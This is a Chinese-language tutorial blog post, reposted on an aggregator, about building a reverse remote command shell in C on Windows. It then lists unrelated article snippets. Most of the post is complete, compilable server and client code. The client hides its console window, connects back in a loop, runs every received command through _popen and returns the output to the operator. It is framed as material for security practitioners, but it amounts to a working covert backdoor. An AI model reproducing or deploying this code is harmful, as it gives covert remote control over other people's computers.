14.2 Socket 反向远程命令行

news2024/10/7 12:27:18

在本节,我们将继续深入探讨套接字通信技术,并介绍一种常见的用法,实现反向远程命令执行功能。对于安全从业者而言,经常需要在远程主机上执行命令并获取执行结果。本节将介绍如何利用 _popen() 函数来启动命令行进程,并将输出通过套接字发送回服务端,从而实现远程命令执行的功能。

在实现反向远程命令执行时,我们可以使用 _popen(buf, "r") 函数来执行特定的命令,并将其输出重定向到一个可读的缓冲区中。这个缓冲区将保存命令的输出内容,我们可以将其发送回控制程序,也就是服务端,从而实现远程命令执行的目标。

首先我们来看一下_popen()函数的原型定义。

FILE *_popen(const char *command, const char *mode);

该函数接受两个参数:

  • command:字符串,包含要执行的命令行指令。
  • mode:字符串,用于指定管道的打开方式,支持 “r” 和 “w” 两种模式。

函数返回一个FILE结构体指针,该指针指向一个由命令产生的输出流。在执行命令时,该函数将创建一个进程来运行命令,并从该进程的标准输出流中读取输出。然后该函数将返回一个文件指针,该文件指针包装了一个文件描述符,用于访问输出流。最终,用户可以使用标准的文件读取操作(如 fread()、fgets() 等)从该文件指针中读取输出,有了该函数的支持再配合套接字即可实现远程命令执行的效果;

14.2.1 服务端实现

如下代码实现了一个基于Windows平台的简单TCP反向shell。该程序可以监听本地的某一端口(默认为 8888),并等待外部客户端的连接。当有新的客户端连接时,程序会等待用户在终端上输入要执行的命令,并将该命令发送给客户端。客户端执行该命令并将执行结果回显到服务端,服务端则将回显结果输出到终端上。

#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>

#pragma comment(lib,"ws2_32.lib")

int main(int argc, char *argv[])
{
  WSADATA wsaData;
  SOCKET sock, Sclient;
  struct sockaddr_in sin, client;
  int nAddrLen = sizeof(client);

  // 初始化套接字库
  WSAStartup(MAKEWORD(2, 2), &wsaData);

  // 初始化Socket
  sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

  // 填充变量
  sin.sin_family = AF_INET;
  sin.sin_port = htons(8888);
  sin.sin_addr.S_un.S_addr = INADDR_ANY;

  // 绑定套接字
  bind(sock, (struct sockaddr*) & sin, sizeof(sin));

  char buf[40960] = { 0 };

  // 循环等待套接字事件
  while (1)
  {
    // 侦听套接字
    if (listen(sock, 20) != SOCKET_ERROR)
    {
      // 有链接时则接收
      Sclient = accept(sock, (SOCKADDR*)&client, &nAddrLen);
      int input_len = 0;

      char send_cmd[2048] = { 0 };
      printf("[%s:%5d] # ", inet_ntoa(client.sin_addr), htons(client.sin_port));

      // 输入数据,以回车键为结束标识
      while ((send_cmd[input_len++] = getchar()) != '\n')
      {
        ;
      }

      // 发送输入的命令
      send(Sclient, send_cmd, sizeof(send_cmd), 0);

      // 循环接收回显
      while (recv(Sclient, buf, sizeof(buf), 0) > 0)
      {
        printf("%s", buf);
        memset(buf, 0, sizeof(buf));
      }
    }

    // 关闭通信
    closesocket(Sclient);
  }

  // 关闭库
  WSACleanup();
  return 0;
}

14.2.2 客户端实现

客户端实现首先在开头部分通过增加一个链接器选项,该选项的作用是启动程序时不显示命令行窗口一次来实现隐藏窗体的目的,在程序中通过recv()函数在服务端接收一条命令行参数,并通过调用_popen(buf, "r")执行本地命令行并将输出结果保存在buf变量内,最后通过调用send()函数将执行结果发送给服务端,以此来实现反向命令执行的功能;

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>

#pragma comment(lib,"ws2_32.lib")

int main(int argc, char *argv[])
{
  WSADATA wsaData;
  SOCKET socks;
  struct sockaddr_in sin;
  CHAR buf[1024];

  // 初始化套接字库
  WSAStartup(MAKEWORD(2, 2), &wsaData);

  while (1)
  {
    socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    sin.sin_family = AF_INET;
    sin.sin_port = htons(8888);
    sin.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");

    // 连接到远程
    if (connect(socks, (struct sockaddr*) &sin, sizeof(sin)) != SOCKET_ERROR)
    {
      // buf 里面就是接收到的执行命令行
      memset(buf, 0, sizeof(buf));
      int ret = recv(socks, buf, sizeof(buf), 0);
      if (ret > 0)
      {
        char recv_data[1024] = { 0 };
        
        // 执行远程命令
        FILE *fp = _popen(buf, "r");

        // 循环读取并发送数据,每次发送1024字节
        while (fgets(recv_data, 1024, fp) != NULL)
        {
          send(socks, recv_data, sizeof(recv_data), 0);
          fprintf(stderr, "%s", recv_data);
          memset(recv_data, 0, sizeof(recv_data));
          Sleep(10);
        }
      }
    }
    memset(buf, 0, sizeof(buf));
    closesocket(socks);
    Sleep(1);
  }
  WSACleanup();
  return 0;
}

读者可自行编译并运行这两个程序,首先运行服务端接着运行客户端,当服务端接收到上线消息后,读者可自行执行一些系统命令,此时会看到客户端的输出效果如下图所示;

本文作者: 王瑞
本文链接: https://www.lyshark.com/post/8b85e795.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1083269.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

实现paho.mqtt.cpp库编译

编译环境 WIN10 VS2019 CMake 3.27.4 因为paho.mqtt.cpp依赖paho.mqtt.c 安装paho.mqtt.c 先下载paho.mqtt.c安装包&#xff0c;win下有安装包 地址: https://github.com/eclipse/paho.mqtt.c/releases/tag/v1.3.12 编译paho.mqtt.cpp 然后下载 paho.mqtt.cpp 源码Release…

【Python 零基础入门】 函数

【Python 零基础入门】第五课 函数 【Python 零基础入门】第五课 函数函数在生活中的类比函数为什么要使用函数函数的格式无参函数含参函数 参数形参实参 变量作用域局部变量全局变量 递归函数基本的递归斐波那契数列 Lambda 表达式高阶函数map 函数filter 函数reduce 函数结合…

COSCon'23 闪电演讲报名须知

各位新老朋友们&#xff0c;一年一度的中国开源年会&#xff08;COSCon&#xff09;拟于 2023 年 10 月 28 日&#xff08;星期六&#xff09;- 29 日&#xff08;星期日&#xff09;在四川省成都市高新区菁蓉汇举办。 本次大会将持续两天&#xff0c;我们策划的主题包括&#…

[探究] program break (chatgpt 协助)

文章目录 简介Unix早期和程序断点引入malloc安全顾虑和转向更新内存分配器新用法中的程序断点总结 简介 这里说的程序断点&#xff08;program break&#xff09;和 gdb调试时的断点&#xff08;运行断点&#xff09;&#xff0c;意思不同。 当深入研究Linux和类Unix操作系统…

Node历史版本下载及配置npm镜像

https://nodejs.org/en/download/releases 点击对应版本Release,选择合适的包&#xff0c;进行下载安装。 配置国内镜像 npm config set registry https://registry.npmmirror.com/

1600*C. Game On Leaves(博弈游戏树)

Problem - 1363C - Codeforces 解析&#xff1a; 我们将目标结点 x 当作树的根&#xff0c;显然&#xff0c;到当 x 的度为 1 的时候&#xff0c;此时行动的人胜利。 我们假设现在的情况为&#xff0c;只剩余三个点&#xff0c;再选择任意一个点&#xff0c;则对方获胜。但是两…

VisionMaster自定义模块

一、参考资料&#xff1a; 1、教学视频 2、VM服务管家【VM服务管家】VM4.x算法模块开发_4.3 联合Halcon开发-CSDN博客问题&#xff1a;有的用户在使用VisionMaster软件在开发视觉项目时&#xff0c;可能同时也使用HALCON&#xff0c;OpenCV等视觉算法库做一些图像的处理&#…

js事件循环详解

事件循环简介 JavaScript的事件循环是一种处理异步事件和回调函数的机制&#xff0c;它是在浏览器或Node.js环境中运行&#xff0c;用于管理任务队列和调用栈&#xff0c;以及在适当的时候执行回调函数。 事件循环的基本原理是&#xff0c;JavaScript引擎在空闲时等待事件的到…

【SQL】新建库表时,报错attempt to write a readonly database

目录 1.问题背景 2.问题原因 3.解决方式 4.结果 windows64位 Navicat sql vscode c 1.问题背景 需求是这样&#xff1a; 希望在调用初始化数据库方法时&#xff0c;查看是否有名为【POCT_PROCESS_CONFIG】的数据库表&#xff0c;如果没有就新建 我的数据库格式是这样 …

点击劫持:X-Frame-Options 未配置

前言 X-Frame-Options作为HTTP头的一部分&#xff0c;是一种用于保护网站免受点击劫持攻击的安全措施。网站可以通过设置X-Frame-Options或csp报头来控制网站本身是否可以被嵌套到iframe中。 漏洞描述 Clickjacking&#xff08;点击劫持&#xff09;是一种安全漏洞&#xff…

Java项目调用Python脚本(基于idea)

前期准备 1.首先需要在本地环境中安装配置python环境 Python(含PyCharm及配置)下载安装以及简单使用(Idea) 博主本次使用python版本为py3.7.3 2.idea安装python插件 位置&#xff1a;File->Settings->Plugins->python->安装后重启即可 3.引入jython依赖 &l…

jupyter notebook如何实现代码提示功能?

jupyter notebook在数据分析中使用非常方便&#xff0c;但是没有代码提示功能&#xff0c;让人感觉有一点点遗憾&#xff1f;如何实现代码提示功能呢&#xff1f;以下实现亲测有效。 本人python版本是3.8. 首先关闭jupyter notebook&#xff0c;安装相关的库。 一、需要提前…

服务器崩溃前的数据拯救实践

前言 在服务器的VMWARE ESXi系统环境中&#xff0c;我们经常需要创建虚拟机来运行各种应用程序。然而&#xff0c;服务器如果偶尔出现自动重启以及紫屏报错的问题&#xff0c;说明服务器内部出现了故障&#xff0c;一般情况下重启机器能够解决问题&#xff0c;但时间一长&…

《风向》——如何应对互联网变革下的知识焦虑不确定与个人成长

二十多年来&#xff0c;全球电信业发生了翻天覆地的变化。通信技术实现了全面数字化&#xff0c;并且由有线发展到了无线&#xff0c;由铜缆升级到了光缆&#xff0c;由窄带跃迁到了宽带&#xff0c;从“大哥大”换成了智能手机&#xff0c;从打电话扩展到了上网&#xff0c;由…

2024第八届杭州国际智慧城市博览会:建筑与智能,智慧与未来

浙江&#xff0c;中国最具活力的省份之一&#xff0c;将再次迎来一场盛大的智慧城市行业展会。2024年第八届浙江智慧城市博览会&#xff0c;由浙江省土木建筑学会发起主办&#xff0c;以“探索未来&#xff0c;智能引领”为主题&#xff0c;于2024年4月份在美丽的杭州国际博览中…

养老院一键报警的重要性和应用

盾王养老院一键报警的重要性和应用 首先&#xff0c;一键报警装置能够极大地提高养老院的安全性。老年人由于身体机能下降&#xff0c;往往容易成为犯罪分子的目标。而一键报警装置能够在遇到危险情况时&#xff0c;立即向养老院管理人员发送警报&#xff0c;从而及时采取措施…

力扣第501题 二叉树的众数 c++ (暴力 加 双指针优化)

题目 501. 二叉搜索树中的众数 简单 相关标签 树 深度优先搜索 二叉搜索树 二叉树 给你一个含重复值的二叉搜索树&#xff08;BST&#xff09;的根节点 root &#xff0c;找出并返回 BST 中的所有 众数&#xff08;即&#xff0c;出现频率最高的元素&#xff09;。 …

C++入门篇---(1)命名空间与缺省参数

1.前言: c兼容C语言,C是在C的基础之上&#xff0c;容纳进去了面向对象编程思想&#xff0c;并增加了许多有用的库&#xff0c;以及编程范式等。 因此你可以理解为c是在c语言的基础上进行扩展的升级版. 它补充了C语言语法的不足&#xff0c;以及C是如何对C语言设计不合理…

【算法|双指针系列No.6】leetcode LCR 179. 查找总价格为目标值的两个商品

个人主页&#xff1a;兜里有颗棉花糖 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 兜里有颗棉花糖 原创 收录于专栏【手撕算法系列专栏】【LeetCode】 &#x1f354;本专栏旨在提高自己算法能力的同时&#xff0c;记录一下自己的学习过程&#xff0c;希望…

如何优化前端图像和多媒体资源?

聚沙成塔每天进步一点点 ⭐ 专栏简介 前端入门之旅&#xff1a;探索Web开发的奇妙世界 欢迎来到前端入门之旅&#xff01;感兴趣的可以订阅本专栏哦&#xff01;这个专栏是为那些对Web开发感兴趣、刚刚踏入前端领域的朋友们量身打造的。无论你是完全的新手还是有一些基础的开发…